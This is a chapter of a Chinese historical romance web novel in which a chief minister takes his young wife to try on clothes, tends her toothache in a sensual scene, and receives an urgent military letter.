几乎喘不过气来的纾妍下意识推开近在咫尺的男人,可他一把固住她的下巴,微微蹙眉,“听话,别动。”
挣脱不得的纾妍只得任由他洁白修长的指骨在她口中进出,涎液顺着她嫣红的嘴角流下。
不知过了多久,他抽回手指,“帕子?”
面颊绯红的纾妍慌忙把自己的帕子递给他。
他慢条斯理地擦拭着那根被她含湿的手指,嗓音喑哑:“脸怎红成这样,可是想起些什么?”
21.第 21 章
裴珩已经走进屋内,径直在纾妍身旁坐下,道:“可喜欢?”
纾妍不解,“无功受禄,为何要送我东西?”
“瞧着还不错就让他们一块送来,”裴珩回答,“待会儿试过不喜欢再让他们拿走便是。”
这话说得倒也没错,可若是待会儿试了都喜欢,就她手里那点儿银子可没钱买。
罢了罢了,左右她手里还有一千两银子的借据,瞧上了再让他弟弟还钱就是。
毕竟这世上没有哪个女子能够拒绝漂亮的衣裳和首饰。
她现在每每瞧见自己身上的衣裳都心情不好,连门都不愿出。
浮华阁的绣娘贯会察言观色,立刻道:“咱们这就为娘子更衣。”
已经许久不曾试新衣的纾妍也期待得很,笑眯眯地看向裴珩,“那大人待会儿也帮我挑一挑。”不待他答应,在绣娘们的簇拥下入了内室更衣。
浮华阁的绣娘们服侍的全都是帝都贵女,什么完美的身形没见过。原来进来时瞧着这首辅娘子衣着老气臃肿,以为身形必定一般,心里还暗暗为那样完美的首辅大人亏得慌,可当剥壳似的剥去层层束缚,露出如同新荔一般嫩的肌肤,丰满的乳,盈盈一握的腰身,挺翘的臀以及两条雪白笔直的腿时,无不各个红了脸。
这样的身段别说男人,就连女人瞧见都要忍不住摸两把。
这首辅大人也怪有福气……
绣娘问:“娘子想要先试哪一件?”
这首辅大人也怪有福气……
纾妍随手指向其中一套格外娇嫩的鹅黄色衣裙,“就它吧。”
外间。
裴珩头一回陪女子试衣,也不知要多久能好,自袖中取出一本公文看了起来。
正看得入神,耳边传来女子娇柔的嗓音,“大人觉得这套如何?”
裴珩闻言,自公文里抬起视线,一时怔住。
裴珩与小妻子成婚时二十有五,正是风华正茂的年纪。
沈氏虽然小他十岁,但一直穿得过分端庄,在此之前,他从未觉得自己老。
可此时此刻他瞧着眼前穿着符合自己年纪的衣裳,娇嫩得仿佛枝头含苞待放的花骨朵的妻子,忽然就觉得自己老了。
明媚灿烂的女子一脸期待:“好不好看?”
回过神来的裴珩抿了一口茶,真心称赞,“极好。”
“我也觉得好,那就留下这套。”她又欢欢喜喜地进去换别的来。
她一连换了三四套,每一套裴珩都称赞好。
纾妍虽然也觉得他挑衣裳的眼光极好,就是款式太保守了些,询问:“我自己选的那些呢?”
绣娘忙将一套绛红色齐胸襦裙捧到她跟前,“这是娘子挑的。”
纾妍欣喜,“那快给我换上!”
这套齐胸襦裙是仿制前朝所作,领口开得有些大,寻常女子根本撑不起来,所以衣裳虽好看,但买的人却极少。
纾妍穿上身后,那衣裙将她玲珑有致的姣好身形勾勒得一览无余。
几个绣娘瞧得眼睛都直了,皆说这是几件里头最好的一套。
纾妍心想还是自己的眼光好,于是高高兴兴穿去给便宜前夫瞧。
裴珩本就忙,已经在此正准备起身告辞,恰好纾妍从里头出来。
只一眼,素了一月有余的男人气血上涌。
他重新坐回去,理了理身上宽大的衣袍,不动声色地抿了一口茶,“这件不行。”
“没眼光!”纾妍特地在他跟前转了一圈,“我最喜欢这件。”
他坚持,“别的都行,唯独这件不行。”
纾妍不解,“为何?”
裴珩扫了一眼屋子,“全都出去。”
淡烟与轻云忙领着绣娘们去了隔壁屋子。
待人走后,裴珩看向一脸稚嫩的小妻子,“没有那个男人会允许自己的妻子穿这样的衣裳出去。”
她一脸不服气,“是前妻。”
他缓缓道:“前妻也不许。”
“这不许那不许,”她轻哼一声,”我看大人直接改名叫裴不许好了!”
天气本就炎热,她连换了几套衣裳,饶是冰肌玉骨,这会儿也生了汗,晶莹剔透的汗珠顺着纤细雪白的脖颈流进深深的沟壑里。
裴珩喉结滚了一滚,偏过脸去,耐着性子道:“你若喜欢,可在屋里穿,莫要穿出去。”
“我为何要答应大人这样离谱的要求,”她小声嘟哝,“大人不喜欢,不代表我将来的夫婿不喜欢。”
他闻言,忽然沉默下来。
纾妍觑了他一眼,见他眉眼低垂,像是在怀念什么人似的,以为他在想自己温柔可亲的表妹,扭过脸自顾自拨弄着粉嫩的指尖。
大约过了半盏茶的功夫,他站起身,“我还有事,就先走了。”言罢,头也不回地出了屋子。
纾妍也没了试衣裳的兴致,蔫蔫地躺在榻上。
绣娘们也不知好端端地怎就闹成这样,忐忑难安地请示,“那这些衣裳首饰?”
纾妍见她们陪着也怪不容易,想了想,道:“都留下吧。”
绣娘们如释重负,再三道谢后由轻云领着出去。
淡烟见自家小姐不高兴,走到她跟前,一边替她打扇子:“姑爷也是为小姐好。”
纾妍却道:“他凭什么管我,他又不是我爹!”
淡烟也不知说什么好。
若是姑爷不肯开口留小姐,小姐总是要走的,既如此那姑爷确实没有资格管小姐。
纾妍委屈,“我原先觉得他人不错,从今往后再也不同他说话。”
淡烟听了这样孩子气的话,哭笑不得,“那若是姑爷再差人送糖葫芦来,小姐吃不吃?”
果然,一向贪吃的女子犹豫,“我给钱就是。”
*
许是不欢而散的缘故,这日过后裴珩五六日不曾踏入后院,只每日都让书墨送些零嘴甜食给纾妍吃药。
纾妍每回都让淡烟付给书墨双倍的价格。
幼时因为姨母管得严厉,不许纾妍吃糖,所以才养得一口又整齐又洁白的贝齿来,如今他日日叫人送,她一点儿节制都无。
淡烟怕她生蚜虫,阻着不让她吃。她便闹着不肯吃药。淡烟无法,只得由着她去。
结果怕什么来什么,这日晌午过后,纾妍用过药后糖葫芦后就开始闹牙疼,她一向娇气忍不了疼,躺在碧纱橱的凉簟上抹眼泪。
淡烟赶紧让轻云去听雨堂瞧瞧姑爷可回来,若是在的话,请他帮忙请太医来瞧瞧。
轻云得了命令,即刻去听雨堂。
*
听雨堂会客室。
裴珩一言不发地端坐在紫檀木书案后,轻轻转动着拇指上的白玉扳指。
他虽神色淡然,但周身极强的压迫感却压得他喘不过气来。
裴瑄坐在他下首,大气儿都不敢出。
堂下,一眉清目秀的青年跪在堂下,额头上沁出细密的汗珠来。
好一会儿,裴珩缓缓开口,“你家主子为何会提前返帝都?”
青年忙道:“我也不知,公子只让我带回一封密函,说是请家主亲启。”说着从怀里取出一封粘了三根鲜红鸡羽,涂了火漆的书信。
自古以来,只有加急信件才会在上头拈鸡羽。
三根便是八百里加急。
书墨见状,忙接过来,拿刀刮去火漆,自里头取出两张薄薄的书信,递到自家主子跟前。
裴珩伸手接了过来。
信中说的与先前送到御前的信并未甚差别,无非是说半年前与戎狄大皇子一战,如何以一胜少,大败戎狄大皇子,并且生擒其子一事。
小七的心愈发躁了,竟然如此沉不住气,先是率领大军提前返都,又浪费这样的人力物力送这样一封信回来!
裴瑄见自家兄长面露不悦,小心翼翼地询问:“小七在心里可说说了什么要紧的事儿?”
裴珩将已经瞧完的那页递给他,接着看另外一页,待眸光扫过最后一行时,微微眯起眼睛,指骨不自觉地收紧。
一旁的裴瑄生怕错漏一个字,仔细读了一遍,亦十分不解,“这不是前几日已经报到御前的军书,为何小七又特地写信来?”
又见兄长手里还有一张,伸手去拿,兄长忽然将那纸书信揉作一团,道:“无甚可看。”
也不知为何,裴瑄总觉得兄长
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有哪里不对,但又说不上来。
裴珩吩咐,“回去你家主子,好好地将他护送回都。”
青年得了令,行礼告退,大步朝外头走去。
刚到听雨堂门口的轻云差点与他撞了个满怀。
青年一把扶住她,爽朗一笑,“轻云姑娘,是你呀。”
轻云抬头一看,一脸惊诧,“你怎在这儿?”
他道:“我提前回来送信。我现在着急走,咱们下回再叙旧,待我向你家小姐问好。”说着急匆匆离去。
轻云呆愣片刻,方抬手敲门,片刻后书墨出来应门,一见她来,喜道:“可是娘子让你来见我们家公子?”
轻云颔首,急道:“我家小姐闹牙疼,劳烦公子帮忙请个太医来瞧瞧。”
书墨一脸为难,“公子此刻正忙,怕不得见。要不你先回去,待会儿公子忙完我即刻通知公子。”
轻云只好先回去。
书墨折返回去,见公子正在与二公子说话,也不打扰。
大约过了一刻钟的功夫,裴瑄告辞离去。
一脸疲惫的男人想起方才那封信,轻轻揉捏着眉心,“她近日如何?可寻过我?”
“半个时辰前寻过,”书墨忙道:“娘子闹牙疼,想要让公子帮着请太医。”
“怎不早说,”裴珩眉头紧蹙,“还不赶紧拿着我的手令去请秦院首来!”交代完,又想到她如今娇气得很,还是决定亲自瞧瞧。
澜院里。
纾妍正捂着左脸颊侧卧在铺了凉簟的碧纱橱上。
近日里暑热极重,她上半身只在大红兜衣外罩了一件细白纱制成的半臂,下半身着了一条胭脂色绸裤。两条嫩藕似的细胳膊与半截雪白小腰袒露在外头。
裴珩进来时,一眼便瞧着这幅香艳到了极致的画面。他喉结滚了一滚,放轻脚步走过去挨着她坐下。
都疼迷糊了的女子以为是淡烟,哽咽,“我疼。”
话音刚落,一只微凉的大手忽然覆在她面颊上,舒缓不少灼热的痛感。
纾妍回头一看,只见老狐狸不知何时坐在她身后,咬着唇扭过脸不理他。
裴珩见她眼角洇红一片,也不知哭了多久,语气不自觉地柔和,“疼得厉害?”
纾妍经不得哄,闷闷地“嗯”了一声。
他伸手托住她雪白小巧的下颏尖,“张开嘴我瞧瞧。”
纾妍实在疼得要紧,犹豫再三,张开嘴巴给她瞧。
裴珩仔细瞧了瞧,发现她整齐雪白的牙齿末端似乎冒出了一个白白的牙尖。
他脱去拇指的玉扳指,去净了手回来,微凉的手指捏住她的下颏,道:“我替你磨一磨。”
纾妍正要问问可是要拿石头磨,会不会疼,谁知他忽然将自己的拇指深入她口中。
冷硬的手指擦过她的软舌,落在最里侧的大牙上。
一瞬间,一些旖旎模糊的画面自纾妍脑海里闪过。
红烛燃烧的室内,一女子跪坐在男子跟前,洇红的眼角挂着一滴泪珠,像是被人蹂躏过的唇如同染了玫瑰花汁液,嘴角挂着透明的涎液。
“官人,我不会……”
那是纾妍的脸!
模糊,陌生,又让人羞耻悸动。
几乎喘不过气来的纾妍下意识推开近在咫尺的男人,可他宽大的手掌紧紧拢着她的下巴,微微蹙眉,“听话,别动。”
挣脱不得的纾妍只得任由他洁白修长的指骨在她口中进出,涎液顺着她嫣红的嘴角流下。
她总觉得哪里不对,可又说不上来,不过牙疼确实舒缓不少。
忽然,眉目若雪的男人停下来,盯着她湿润的眼,“别含那么紧。”
她想说自己没含,却说不了话,眨眨眼,抖落一滴泪珠。
大抵过了半刻钟的功夫,他终于抽回手指,“帕子?”
面颊绯红的纾妍手忙脚乱地把自己的帕子递给他。
衣冠整齐的男人慢条斯理地擦拭着那根被她含湿的手指,嗓音喑哑:“脸怎红成这样,可是想起些什么?”
或者,她可以同他说一说,为何他侄儿会在八百里加急的军中密信中,问候他的小妻子【安】!